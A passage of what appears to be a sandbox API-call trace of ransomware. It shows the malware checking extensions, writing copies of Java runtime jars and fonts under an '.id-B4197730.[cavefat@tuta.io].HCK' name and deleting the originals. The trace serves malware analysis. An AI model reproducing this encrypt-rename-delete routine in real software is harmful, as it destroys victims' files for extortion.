dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.701] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.701] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.701] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0226.702] GetLastError () returned 0x0 [0226.702] ReadFile (in: hFile=0x438, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x3d5bf, lpOverlapped=0x0) returned 1 [0226.709] WriteFile (in: hFile=0x498, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x3d5c0, lpOverlapped=0x0) returned 1 [0226.713] ReadFile (in: hFile=0x438, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.713] WriteFile (in: hFile=0x498, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xee, lpOverlapped=0x0) returned 1 [0226.713] SetEndOfFile (hFile=0x498) returned 1 [0226.713] CloseHandle (hObject=0x498) returned 1 [0226.713] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.713] SetEndOfFile (hFile=0x438) returned 1 [0226.718] CloseHandle (hObject=0x438) returned 1 [0226.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.718] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1 [0226.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.719] lstrlenW (lpString=".doc") returned 4 [0226.719] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.719] lstrlenW (lpString=".docx") returned 5 [0226.719] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0226.719] lstrlenW (lpString=".pdf") returned 4 [0226.719] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.719] lstrlenW (lpString=".xls") returned 4 [0226.719] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.719] lstrlenW (lpString=".xlsx") returned 5 [0226.719] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0226.719] lstrlenW (lpString=".ppt") returned 4 [0226.719] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.719] lstrlenW (lpString=".zip") returned 4 [0226.719] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.719] lstrlenW (lpString=".rar") returned 4 [0226.719] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.719] lstrlenW (lpString=".bz2") returned 4 [0226.719] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.719] lstrlenW (lpString=".7z") returned 3 [0226.719] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.719] lstrlenW (lpString=".dbf") returned 4 [0226.719] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.719] lstrlenW (lpString=".1cd") returned 4 [0226.719] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.719] lstrlenW (lpString=".jpg") returned 4 [0226.719] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.719] lstrlenW (lpString=".doc") returned 4 [0226.720] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.720] lstrlenW (lpString=".docx") returned 5 [0226.720] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0226.720] lstrlenW (lpString=".pdf") returned 4 [0226.720] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.720] lstrlenW (lpString=".xls") returned 4 [0226.720] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.720] lstrlenW (lpString=".xlsx") returned 5 [0226.720] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0226.720] lstrlenW (lpString=".ppt") returned 4 [0226.720] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.720] lstrlenW (lpString=".zip") returned 4 [0226.720] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.720] lstrlenW (lpString=".rar") returned 4 [0226.720] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.720] lstrlenW (lpString=".bz2") returned 4 [0226.720] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.720] lstrlenW (lpString=".7z") returned 3 [0226.720] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.720] lstrlenW (lpString=".dbf") returned 4 [0226.720] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.720] lstrlenW (lpString=".1cd") returned 4 [0226.720] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0226.720] lstrlenW (lpString=".jpg") returned 4 [0226.720] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.720] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.720] lstrlenW (lpString="zipfs.jar") returned 9 [0226.720] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.721] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=68924) returned 1 [0226.721] CloseHandle (hObject=0x438) returned 1 [0226.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0226.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.721] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.115] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.116] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.116] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0227.116] GetLastError () returned 0x0 [0227.116] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x10d3c, lpOverlapped=0x0) returned 1 [0227.120] WriteFile (in: hFile=0x3e4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10d40, lpOverlapped=0x0) returned 1 [0227.121] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.122] WriteFile (in: hFile=0x3e4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xe6, lpOverlapped=0x0) returned 1 [0227.122] SetEndOfFile (hFile=0x3e4) returned 1 [0227.122] CloseHandle (hObject=0x3e4) returned 1 [0227.122] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.122] SetEndOfFile (hFile=0x498) returned 1 [0227.124] CloseHandle (hObject=0x498) returned 1 [0227.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.125] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1 [0227.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.125] lstrlenW (lpString=".doc") returned 4 [0227.125] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0227.125] lstrlenW (lpString=".docx") returned 5 [0227.125] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0227.125] lstrlenW (lpString=".pdf") returned 4 [0227.125] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0227.125] lstrlenW (lpString=".xls") returned 4 [0227.125] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0227.125] lstrlenW (lpString=".xlsx") returned 5 [0227.126] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0227.126] lstrlenW (lpString=".ppt") returned 4 [0227.126] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0227.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.126] lstrlenW (lpString=".zip") returned 4 [0227.126] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0227.126] lstrlenW (lpString=".rar") returned 4 [0227.126] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0227.126] lstrlenW (lpString=".bz2") returned 4 [0227.126] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0227.126] lstrlenW (lpString=".7z") returned 3 [0227.126] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0227.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.126] lstrlenW (lpString=".dbf") returned 4 [0227.126] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0227.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.126] lstrlenW (lpString=".1cd") returned 4 [0227.126] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0227.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.126] lstrlenW (lpString=".jpg") returned 4 [0227.126] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0227.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.126] lstrlenW (lpString=".doc") returned 4 [0227.126] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0227.126] lstrlenW (lpString=".docx") returned 5 [0227.126] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0227.126] lstrlenW (lpString=".pdf") returned 4 [0227.126] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0227.126] lstrlenW (lpString=".xls") returned 4 [0227.126] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0227.126] lstrlenW (lpString=".xlsx") returned 5 [0227.126] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0227.126] lstrlenW (lpString=".ppt") returned 4 [0227.126] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0227.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.126] lstrlenW (lpString=".zip") returned 4 [0227.126] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0227.126] lstrlenW (lpString=".rar") returned 4 [0227.126] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0227.126] lstrlenW (lpString=".bz2") returned 4 [0227.126] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0227.126] lstrlenW (lpString=".7z") returned 3 [0227.126] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0227.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.126] lstrlenW (lpString=".dbf") returned 4 [0227.126] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0227.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.126] lstrlenW (lpString=".1cd") returned 4 [0227.126] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0227.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0227.126] lstrlenW (lpString=".jpg") returned 4 [0227.126] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0227.127] lstrcmpiW (lpString1=".ttf", lpString2=".HCK") returned 1 [0227.127] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22 [0227.127] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.127] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=80856) returned 1 [0227.127] CloseHandle (hObject=0x498) returned 1 [0227.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0227.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.128] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.128] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.128] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.128] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0227.133] GetLastError () returned 0x0 [0227.133] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x13bd8, lpOverlapped=0x0) returned 1 [0227.138] WriteFile (in: hFile=0x3e4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x13be0, lpOverlapped=0x0) returned 1 [0227.140] ReadFile (in: hFile=0x498, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.140] WriteFile (in: hFile=0x3e4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x100, lpOverlapped=0x0) returned 1 [0227.140] SetEndOfFile (hFile=0x3e4) returned 1 [0227.140] CloseHandle (hObject=0x3e4) returned 1 [0227.140] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.141] SetEndOfFile (hFile=0x498) returned 1 [0227.143] CloseHandle (hObject=0x498) returned 1 [0227.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.144] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1 [0227.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.145] lstrlenW (lpString=".doc") returned 4 [0227.145] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.145] lstrlenW (lpString=".docx") returned 5 [0227.145] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0227.145] lstrlenW (lpString=".pdf") returned 4 [0227.145] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.145] lstrlenW (lpString=".xls") returned 4 [0227.145] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.145] lstrlenW (lpString=".xlsx") returned 5 [0227.145] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0227.145] lstrlenW (lpString=".ppt") returned 4 [0227.145] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.145] lstrlenW (lpString=".zip") returned 4 [0227.145] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.145] lstrlenW (lpString=".rar") returned 4 [0227.145] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.145] lstrlenW (lpString=".bz2") returned 4 [0227.145] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.145] lstrlenW (lpString=".7z") returned 3 [0227.145] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.145] lstrlenW (lpString=".dbf") returned 4 [0227.145] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.145] lstrlenW (lpString=".1cd") returned 4 [0227.145] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.145] lstrlenW (lpString=".jpg") returned 4 [0227.145] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.145] lstrlenW (lpString=".doc") returned 4 [0227.145] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0227.145] lstrlenW (lpString=".docx") returned 5 [0227.145] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0227.145] lstrlenW (lpString=".pdf") returned 4 [0227.145] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0227.145] lstrlenW (lpString=".xls") returned 4 [0227.145] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0227.145] lstrlenW (lpString=".xlsx") returned 5 [0227.145] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0227.145] lstrlenW (lpString=".ppt") returned 4 [0227.145] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0227.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.145] lstrlenW (lpString=".zip") returned 4 [0227.145] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0227.145] lstrlenW (lpString=".rar") returned 4 [0227.146] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0227.146] lstrlenW (lpString=".bz2") returned 4 [0227.146] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0227.146] lstrlenW (lpString=".7z") returned 3 [0227.146] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0227.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.146] lstrlenW (lpString=".dbf") returned 4 [0227.146] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0227.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.146] lstrlenW (lpString=".1cd") returned 4 [0227.146] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0227.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0227.146] lstrlenW (lpString=".jpg") returned 4 [0227.146] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0227.146] lstrcmpiW (lpString1=".ttf", lpString2=".HCK") returned 1 [0227.146] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23 [0227.146] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.147] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=344908) returned 1 [0227.147] CloseHandle (hObject=0x498) returned 1 [0227.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0227.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.147] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.148] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.148] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.148] CreateFileW (lpFileName="C:\\Program 